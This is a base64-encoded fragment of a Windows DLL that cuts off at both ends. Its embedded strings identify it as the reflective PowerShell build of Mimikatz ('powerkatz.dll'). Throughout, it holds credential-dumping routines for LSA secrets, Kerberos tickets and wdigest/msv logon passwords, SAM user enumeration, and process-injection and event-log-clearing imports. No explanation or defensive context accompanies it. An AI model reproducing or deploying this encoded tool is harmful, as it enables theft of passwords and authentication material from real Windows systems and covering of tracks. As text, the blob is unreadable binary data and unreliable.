pAHMAIABpAG4AYwBvAHIAcgBlAGMAdAA+AAAAAAAlAHcAWgAJACUAdwBaAAkAAAAAAAoACQAgACoAIABVAHMAZQByAG4AYQBtAGUAIAA6ACAAJQB3AFoACgAJACAAKgAgAEQAbwBtAGEAaQBuACAAIAAgADoAIAAlAHcAWgAKAAkAIAAqACAAUABhAHMAcwB3AG8AcgBkACAAOgAgAAAAAABMAFUASQBEACAASwBPAAoAAAAAAAoACQAgACoAIABSAG8AbwB0AEsAZQB5ACAAIAA6ACAAAAAAAAoACQAgACoAIABEAFAAQQBQAEkAIAAgACAAIAA6ACAAAAAAAAoACQAgACoAIAAlADAAOAB4ACAAOgAgAAAAAAAKAAkAIAAgACAAKgAgAEwAUwBBACAASQBzAG8AbABhAHQAZQBkACAARABhAHQAYQA6ACAAJQAuACoAUwAAAAAACgAJACAAIAAgACAAIABVAG4AawAtAEsAZQB5ACAAIAA6ACAAAAAAAAoACQAgACAAIAAgACAARQBuAGMAcgB5AHAAdABlAGQAOgAgAAAAAAAKAAkACQAgACAAIABTAFMAOgAlAHUALAAgAFQAUwA6ACUAdQAsACAARABTADoAJQB1AAAAAAAAAAoACQAJACAAIAAgADAAOgAwAHgAJQB4ACwAIAAxADoAMAB4ACUAeAAsACAAMgA6ADAAeAAlAHgALAAgADMAOgAwAHgAJQB4ACwAIAA0ADoAMAB4ACUAeAAsACAARQA6AAAAAAAsACAANQA6ADAAeAAlAHgAAAAAAAoACQAgAFsAJQAwADgAeABdAAAAZABwAGEAcABpAHMAcgB2AC4AZABsAGwAAAAAAAkAIABbACUAMAA4AHgAXQAKAAkAIAAqACAARwBVAEkARAAgACAAIAAgACAAIAA6AAkAAAAKAAkAIAAqACAAVABpAG0AZQAgACAAIAAgACAAIAA6AAkAAAAKAAkAIAAqACAATQBhAHMAdABlAHIASwBlAHkAIAA6AAkAAAAKAAkAIAAqACAAcwBoAGEAMQAoAGsAZQB5ACkAIAA6AAkAAAAKAAkASwBPAAAAAABrAGUAcgBiAGUAcgBvAHMALgBkAGwAbAAAAAAAVABpAGMAawBlAHQAIABHAHIAYQBuAHQAaQBuAGcAIABTAGUAcgB2AGkAYwBlAAAAQwBsAGkAZQBuAHQAIABUAGkAYwBrAGUAdAAgAD8AAABUAGkAYwBrAGUAdAAgAEcAcgBhAG4AdABpAG4AZwAgAFQAaQBjAGsAZQB0AAAAAAAKAAkARwByAG8AdQBwACAAJQB1ACAALQAgACUAcwAAAAoACQAgACoAIABLAGUAeQAgAEwAaQBzAHQAIAA6AAoAAAAAAGQAYQB0AGEAIABjAG8AcAB5ACAAQAAgACUAcAAAAAAACgAgACAAIABcAF8AIAAlAHMAIAAAAAAALQA+ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBlAG4AdQBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBhAGwAbABiAGEAYwBrAF8AcAB0AGgAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGMAbwBwAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAoAIAAgACAAXABfACAAKgBQAGEAcwBzAHcAbwByAGQAIAByAGUAcABsAGEAYwBlACAALQA+ACAAAAAAAG4AdQBsAGwAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AawBlAHIAYgBlAHIAbwBzAF8AZQBuAHUAbQBfAHQAaQBjAGsAZQB0AHMAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAKAAkAIAAgACAATABTAEEAIABTAGUAcwBzAGkAbwBuACAASwBlAHkAIAAgACAAOgAgADAAeAAlADAAOAB4ACAALQAgACUAcwAAAAAAAAAAAFsAJQB4ADsAJQB4AF0ALQAlADEAdQAtACUAdQAtACUAMAA4AHgALQAlAHcAWgBAACUAdwBaAC0AJQB3AFoALgAlAHMAAAAAAFsAJQB4ADsAJQB4AF0ALQAlADEAdQAtACUAdQAtACUAMAA4AHgALgAlAHMAAAAAAGwAaQB2AGUAcwBzAHAALgBkAGwAbAAAAFByaW1hcnkAQ3JlZGVudGlhbEtleXMAAAoACQAgAFsAJQAwADgAeABdACAAJQBaAAAAAABkAGEAdABhACAAYwBvAHAAeQA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AEHSbABAAAAAA/////4icABDfnAAQAAAAAP////8HgAQQXoAEEAAAAAD+////AAAAAND///8AAAAA/v///wAAAAA4FQUQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAALMVBRAAAAAA/v///wAAAADU////AAAAAP7///+oFgUQxxYFEAAAAAD+////AAAAANj///8AAAAA/v///6QZBRC3GQUQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAFk4BRAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAaWsFEAAAAAD+////AAAAAMT///8AAAAA/v///wAAAAASawUQAAAAAAAAAADlagUQ/v///wAAAADQ////AAAAAP7///8AAAAAYGwFEAAAAAD+////AAAAAND///8AAAAA/v///wAAAAA3bgUQAAAAAOT///8AAAAA1P///wAAAAD+////AAAAAAoDBhAAAAAA8gIGEAIDBhD+////AAAAANT///8AAAAA/v///wAAAAA+CgYQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAI8KBhAAAAAA5P///wAAAADU////AAAAAP7///9nDwYQaw8GEAAAAAD+////AAAAANj///8AAAAA/v///wAAAAC+HAYQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAMobBhAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAKxwGEAAAAAD+////AAAAANj///8AAAAA/v///wAAAAB2HAYQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAALwtBhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAey8GEAAAAAD+////AAAAAND///8AAAAA/v///wAAAACFNwYQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAPU4BhAAAAAA/v///wAAAADM////AAAAAP7///8AAAAA5z8GEAAAAAD+////AAAAANT///8AAAAA/v///wAAAACVQgYQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAADpEBhAAAAAA/v///wAAAADE////AAAAAP7///8AAAAAa0gGEAAAAAD+////AAAAAMz///8AAAAA/v///wAAAAB/RgYQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAOVsBhAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAlmcGEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAB3dQYQAAAAAOT///8AAAAAtP///wAAAAD+////AAAAAHt4BhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAznUGEAAAAAD+////AAAAANT///8AAAAA/v///wAAAABDfwYQAAAAAP7///8AAAAAxP///wAAAAD+////AAAAAHGeBhAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAY6EGEAAAAAD+////AAAAANj///8AAAAA/v///wAAAABetgYQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAGjMBhAAAAAA/v///wAAAADY////AAAAAP7///9p6QYQfOkGEAAAAAD+////AAAAAKj///8AAAAA/v///7sWBxDOFgcQAAAAAAAAAAAAAAAAAAAAAEtRiVcAAAAA0ukJAAEAAAABAAAAAQAAAMjpCQDM6QkA0OkJAAyrAwDg6QkAAABwb3dlcmthdHouZGxsAHBvd2Vyc2hlbGxfcmVmbGVjdGl2ZV9taW1pa2F0egAAfOsJAAAAAAAAAAAA4PcJAAAgBwDQ7AkAAAAAAAAAAACe+QkAVCEHALDwCQAAAAAAAAAAAAr6CQA0JQcAkO8JAAAAAAAAAAAAPPoJABQkBwBM8QkAAAAAAAAAAACC+gkA0CUHAJzvCQAAAAAAAAAAAIz6CQAgJAcArO8JAAAAAAAAAAAAYPsJADAkBwAo8AkAAAAAAAAAAADK+wkArCQHANDvCQAAAAAAAAAAAAj9CQBUJAcAQPAJAAAAAAAAAAAAzP0JAMQkBwAg8AkAAAAAAAAAAADu/QkApCQHAGDwCQAAAAAAAAAAACT+CQDkJAcAFO0JAAAAAAAAAAAAmv4JAJghBwAM8AkAAAAAAAAAAAAc/wkAkCQHAGzwCQAAAAAAAAAAACr/CQDwJAcA3PAJAAAAAAAAAAAA4gEKAGAlBwDM8AkAAAAAAAAAAABCAgoAUCUHACztCQAAAAAAAAAAANgKCgCwIQcAAAAAAAAAAAAAAAAAAAAAAAAAAABc8QkAcvEJAIDxCQCU8QkAqPEJALrxCQDO8QkA4vEJAPbxCQAG8gkAGPI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udGV4dEEAALcAQ3J5cHREZXN0cm95S2V5ADYBR2V0TGVuZ3RoU2lkAAB2AENvcHlTaWQAnQFMc2FDbG9zZQAAvQFMc2FPcGVuUG9saWN5AMUBTHNhUXVlcnlJbmZvcm1hdGlvblBvbGljeQCDAENyZWF0ZVdlbGxLbm93blNpZAAAfABDcmVhdGVQcm9jZXNzQXNVc2VyVwAAfQBDcmVhdGVQcm9jZXNzV2l0aExvZ29uVwBuAlJlZ1F1ZXJ5VmFsdWVFeFcAAFICUmVnRW51bVZhbHVlVwBhAlJlZ09wZW5LZXlFeFcAfgJSZWdTZXRWYWx1ZUV4VwAATwJSZWdFbnVtS2V5RXhXAGgCUmVnUXVlcnlJbmZvS2V5VwAAMAJSZWdDbG9zZUtleQDtAlN5c3RlbUZ1bmN0aW9uMDMyACkCUXVlcnlTZXJ2aWNlU3RhdHVzRXgAAPsBT3BlblNlcnZpY2VXAADJAlN0YXJ0U2VydmljZVcAXABDb250cm9sU2VydmljZQAA2gBEZWxldGVTZXJ2aWNlAPkBT3BlblNDTWFuYWdlclcAAFcAQ2xvc2VTZXJ2aWNlSGFuZGxlAABsAENvbnZlcnRTaWRUb1N0cmluZ1NpZFcAAMEAQ3J5cHRHZW5SYW5kb20AAIABSXNUZXh0VW5pY29kZQBaAUdldFRva2VuSW5mb3JtYXRpb24AjwFMb29rdXBBY2NvdW50TmFtZVcAAJEBTG9va3VwQWNjb3VudFNpZFcA9wFPcGVuUHJvY2Vzc1Rva2VuAAB0AENvbnZlcnRTdHJpbmdTaWRUb1NpZFcAAKsBTHNhRnJlZU1lbW9yeQDTAlN5c3RlbUZ1bmN0aW9uMDA2ALwAQ3J5cHRFbnVtUHJvdmlkZXJUeXBlc1cAvgBDcnlwdEVudW1Qcm92aWRlcnNXAMcAQ3J5cHRHZXRVc2VyS2V5APYBT3BlbkV2ZW50TG9nVwBTAENsZWFyRXZlbnRMb2dXAABDAUdldE51bWJlck9mRXZlbnRMb2dSZWNvcmRzAAAnAlF1ZXJ5U2VydmljZU9iamVjdFNlY3VyaXR5AABDAEJ1aWxkU2VjdXJpdHlEZXNjcmlwdG9yVwAAIAFGcmVlU2lkAL8CU2V0U2VydmljZU9iamVjdFNlY3VyaXR5AAAgAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAAgQBDcmVhdGVTZXJ2aWNlVwAA5gJTeXN0ZW1GdW5jdGlvbjAyNQDMAUxzYVJldHJpZXZlUHJpdmF0ZURhdGEAAL8BTHNhT3BlblNlY3JldADJAUxzYVF1ZXJ5VHJ1c3RlZERvbWFpbkluZm9CeU5hbWUAxgFMc2FRdWVyeVNlY3JldAAAzgJTeXN0ZW1GdW5jdGlvbjAwMQDSAlN5c3RlbUZ1bmN0aW9uMDA1AFcBR2V0U2lkU3ViQXV0aG9yaXR5AADaAlN5c3RlbUZ1bmN0aW9uMDEzAFgBR2V0U2lkU3ViQXV0aG9yaXR5Q291bnQAqgFMc2FFbnVtZXJhdGVUcnVzdGVkRG9tYWluc0V4AACXAUxvb2t1cFByaXZpbGVnZVZhbHVlVwCGAUlzVmFsaWRTaWQAAPwBT3BlblRocmVhZFRva2VuAN8ARHVwbGljYXRlVG9rZW5FeAAAUQBDaGVja1Rva2VuTWVtYmVyc2hpcAAAwQJTZXRUaHJlYWRUb2tlbgAAjABDcmVkRnJlZQAAiQBDcmVkRW51bWVyYXRlVwAAQURWQVBJMzIuZGxsAADbAENyeXB0VW5wcm90ZWN0RGF0YQAAfQBDcnlwdEJpbmFyeVRvU3RyaW5nVwAA2QBDcnlwdFN0cmluZ1RvQmluYXJ5VwAAvQBDcnlwdFByb3RlY3REYXRhAAB6AENyeXB0QWNxdWlyZUNlcnRpZmljYXRlUHJpdmF0ZUtleQAIAENlcnRBZGRFbmNvZGVkQ2VydGlmaWNhdGVUb1N0b3JlAABAAENlcnRGcmVlQ2VydGlmaWNhdGVDb250ZXh0AAAvAENlcnRFbnVtU3lzdGVtU3RvcmUABABDZXJ0QWRkQ2VydGlmaWNhdGVDb250ZXh0VG9TdG9yZQAALABDZXJ0RW51bUNlcnRpZmljYXRlc0luU3RvcmUAEgBDZXJ0Q2xvc2VTdG9yZQAAFgFQRlhFeHBvcnRDZXJ0U3RvcmVFeAAAagBDZXJ0U2V0Q2VydGlmaWNhdGVDb250ZXh0UHJvcGVydHkASwBDZXJ0R2V0TmFtZVN0cmluZ1cAAFcAQ2VydE9wZW5TdG9yZQBGAENlcnRHZXRDZXJ0aWZpY2F0ZUNvbnRleHRQcm9wZXJ0eQBDUllQVDMyLmRsbAAGAENETG9jYXRlQ2hlY2tTdW0AAAwATUQ1SW5pdAANAE1ENVVwZGF0ZQALAE1ENUZpbmFsAAAFAENETG9jYXRlQ1N5c3RlbQAEAENER2VuZXJhdGVSYW5kb21CaXRzAABjcnlwdGRsbC5kbGwAABAARHNHZXREY05hbWVXAABlAE5ldEFwaUJ1ZmZlckZyZWUAAE5FVEFQSTMyLmRsbAAAEABDb0NyZWF0ZUluc3RhbmNlAABsAENvVW5pbml0aWFsaXplAAA/AENvSW5pdGlhbGl6ZUV4AABvbGUzMi5kbGwAT0xFQVVUMzIuZGxsAABxAVJwY0JpbmRpbmdTZXRPcHRpb24AXwFScGNCaW5kaW5nRnJvbVN0cmluZ0JpbmRpbmdXAADuAVJwY1N0cmluZ0JpbmRpbmdDb21wb3NlVwAAbgFScGNCaW5kaW5nU2V0QXV0aEluZm9FeFcAAPIBUnBjU3RyaW5nRnJlZVcAAF0BUnBjQmluZGluZ0ZyZWUAACAASV9ScGNCaW5kaW5nSW5xU2VjdXJpdHlDb250ZXh0AACVAE5kckNsaWVudENhbGwyAABSUENSVDQuZGxsAAA6AFBhdGhDb21iaW5lVwAAOABQYXRoQ2Fub25pY2FsaXplVwBlAFBhdGhJc1JlbGF0aXZlVwBJAFBhdGhGaW5kRmlsZU5hbWVXAFsAUGF0aElzRGlyZWN0b3J5VwAAU0hMV0FQSS5kbGwAEwBTYW1FbnVtZXJhdGVVc2Vyc0luRG9tYWluAB0AU2FtTG9va3VwTmFtZXNJbkRvbWFpbgAAHwBTYW1PcGVuRG9tYWluACEAU2FtT3BlblVzZXIAHABTYW1Mb29rdXBJZHNJbkRvbWFpbgAABwBTYW1Db25uZWN0AAAGAFNhbUNsb3NlSGFuZGxlAAAUAFNhbUZyZWVNZW1vcnkAJgBTYW1RdWVyeUluZm9ybWF0aW9uVXNlcgARAFNhbUVudW1lcmF0ZURvbWFpbnNJblNhbVNlcnZlcgAALABTYW1SaWRUb1NpZAAVAFNhbUdldEFsaWFzTWVtYmVyc2hpcAAbAFNhbUxvb2t1cERvbWFpbkluU2FtU2VydmVyAAAYAFNhbUdldEdyb3Vwc0ZvclVzZXIAU0FNTElCLmRsbAAAGABGcmVlQ29udGV4dEJ1ZmZlcgA0AFF1ZXJ5Q29udGV4dEF0dHJpYnV0ZXNXACcATHNhQ29ubmVjdFVudHJ1c3RlZAAoAExzYURlcmVnaXN0ZXJMb2dvblByb2Nlc3MAJgBMc2FDYWxsQXV0aGVudGljYXRpb25QYWNrYWdlAAAtAExzYUxvb2t1cEF1dGhlbnRpY2F0aW9uUGFja2FnZQAAKgBMc2FGcmVlUmV0dXJuQnVmZmVyAFNlY3VyMzIuZGxsAAYAQ29tbWFuZExpbmVUb0FyZ3ZXAABTSEVMTDMyLmRsbADDAUlzQ2hhckFscGhhTnVtZXJpY1cAPgFHZXRLZXlib2FyZExheW91dABVU0VSMzIuZGxsAAAFAEhpZERfR2V0SGlkR3VpZAABAEhpZERfRnJlZVByZXBhcnNlZERhdGEAAAwASGlkRF9HZXRQcmVwYXJzZWREYXRhABUASGlkUF9HZXRDYXBzAAACAEhpZERfR2V0QXR0cmlidXRlcwAASElELkRMTAA/AVNldHVwRGlEZXN0cm95RGV2aWNlSW5mb0xpc3QAAEMBU2V0dXBEaUVudW1EZXZpY2VJbnRlcmZhY2VzAFYBU2V0dXBEaUdldENsYXNzRGV2c1cAAG4BU2V0dXBEaUdldERldmljZUludGVyZmFjZURldGFpbFcAAFNFVFVQQVBJLmRsbAAAV0xEQVAzMi5kbGwAFQBSdGxGcmVlQW5zaVN0cmluZwAgAFJ0bFVuaWNvZGVTdHJpbmdUb0Fuc2lTdHJpbmcAABYAUnRsRnJlZVVuaWNvZGVTdHJpbmcAABIAUnRsRG93bmNhc2VVbmljb2RlU3RyaW5nAAAUAFJ0bEVxdWFsVW5pY29kZVN0cmluZwAcAFJ0bEluaXRVbmljb2RlU3RyaW5nAAACAE50UXVlcnlPYmplY3QAGABSdGxHZXRDb21wcmVzc2lvbldvcmtTcGFjZVNpemUAAA8AUnRsQ29tcHJlc3NCdWZmZXIABQBOdFF1ZXJ5U3lzdGVtSW5mb3JtYXRpb24AAAEATnRRdWVyeUluZm9ybWF0aW9uUHJvY2VzcwAZAFJ0bEdldEN1cnJlbnRQZWIAABAAUnRsQ3JlYXRlVXNlclRocmVhZAAXAFJ0bEdVSURGcm9tU3RyaW5nAB8AUnRsU3RyaW5nRnJvbUdVSUQAGgBSdGxHZXROdFZlcnNpb25OdW1iZXJzAAAOAFJ0bEFwcGVuZFVuaWNvZGVTdHJpbmdUb1N0cmluZwAAIgBSdGxVcGNhc2VVbmljb2RlU3RyaW5nAAANAFJ0bEFuc2lTdHJpbmdUb1VuaWNvZGVTdHJpbmcAAAYATnRSZXN1bWVQcm9jZXNzAAwAUnRsQWRqdXN0UHJpdmlsZWdlAAALAE50VGVybWluYXRlUHJvY2VzcwAACgBOdFN1c3BlbmRQcm9jZXNzAAAIAE50U2V0U3lzdGVtRW52aXJvbm1lbnRWYWx1ZUV4AAQATnRRdWVyeVN5c3RlbUVudmlyb25tZW50VmFsdWVFeAAAAE50RW51bWVyYXRlU3lzdGVtRW52aXJvbm1lbnRWYWx1ZXNFeAAAEwBSdGxFcXVhbFN0cmluZwAAbnRkbGwuZGxsAAEASV9OZXRTZXJ2ZXJSZXFDaGFsbGVuZ2UAAABJX05ldFNlcnZlckF1dGhlbnRpY2F0ZTIAAAIASV9OZXRTZXJ2ZXJUcnVzdFBhc3N3b3Jkc0dldAAAbmV0YXBpMzIuZGxsAABEA0xvY2FsQWxsb2MAACUBRmlsZVRpbWVUb1N5c3RlbVRpbWUAAEgDTG9jYWxGcmVlAMADUmVhZEZpbGUAACUFV3JpdGVGaWxlAI8AQ3JlYXRlRmlsZVcAsgRTbGVlcAACAkdldExhc3RFcnJvcgAAwQRUZXJtaW5hdGVUaHJlYWQAUgBDbG9zZUhhbmRsZQC1AENyZWF0ZVRocmVhZAAAOQFGaW5kRmlyc3RGaWxlVwAA8QFHZXRGaWxlU2l6ZUV4AEUBRmluZE5leHRGaWxlVwAdAUV4cGFuZEVudmlyb25tZW50U3RyaW5nc1cALgFGaW5kQ2xvc2UA6gFHZXRGaWxlQXR0cmlidXRlc1cAAL8BR2V0Q3VycmVudERpcmVjdG9yeVcAAFcBRmx1c2hGaWxlQnVmZmVycwAAwAFHZXRDdXJyZW50UHJvY2VzcwDoAER1cGxpY2F0ZUhhbmRsZQCAA09wZW5Qcm9jZXNzAN0ARGV2aWNlSW9Db250cm9sAC4FV3JpdGVQcm9jZXNzTWVtb3J5AADvBFZpcnR1YWxQcm90ZWN0AADsBFZpcnR1YWxGcmVlAOkEVmlydHVhbEFsbG9jAABmBFNldEZpbGVQb2ludGVyAADwBFZpcnR1YWxQcm90ZWN0RXgAAOoEVmlydHVhbEFsbG9jRXgAAMMDUmVhZFByb2Nlc3NNZW1vcnkA7QRWaXJ0dWFsRnJlZUV4APEEVmlydHVhbFF1ZXJ5AADyBFZpcnR1YWxRdWVyeUV4AADWBFVubWFwVmlld09mRmlsZQCMAENyZWF0ZUZpbGVNYXBwaW5nVwAAVwNNYXBWaWV3T2ZGaWxlAEsDTG9jYWxSZUFsbG9jAACoAENyZWF0ZVByb2Nlc3NXAABzBFNldExhc3RFcnJvcgAA+QRXYWl0Rm9yU2luZ2xlT2JqZWN0AKkAQ3JlYXRlUmVtb3RlVGhyZWFkAAAkAUZpbGVUaW1lVG9Mb2NhbEZpbGVUaW1lAJcCR2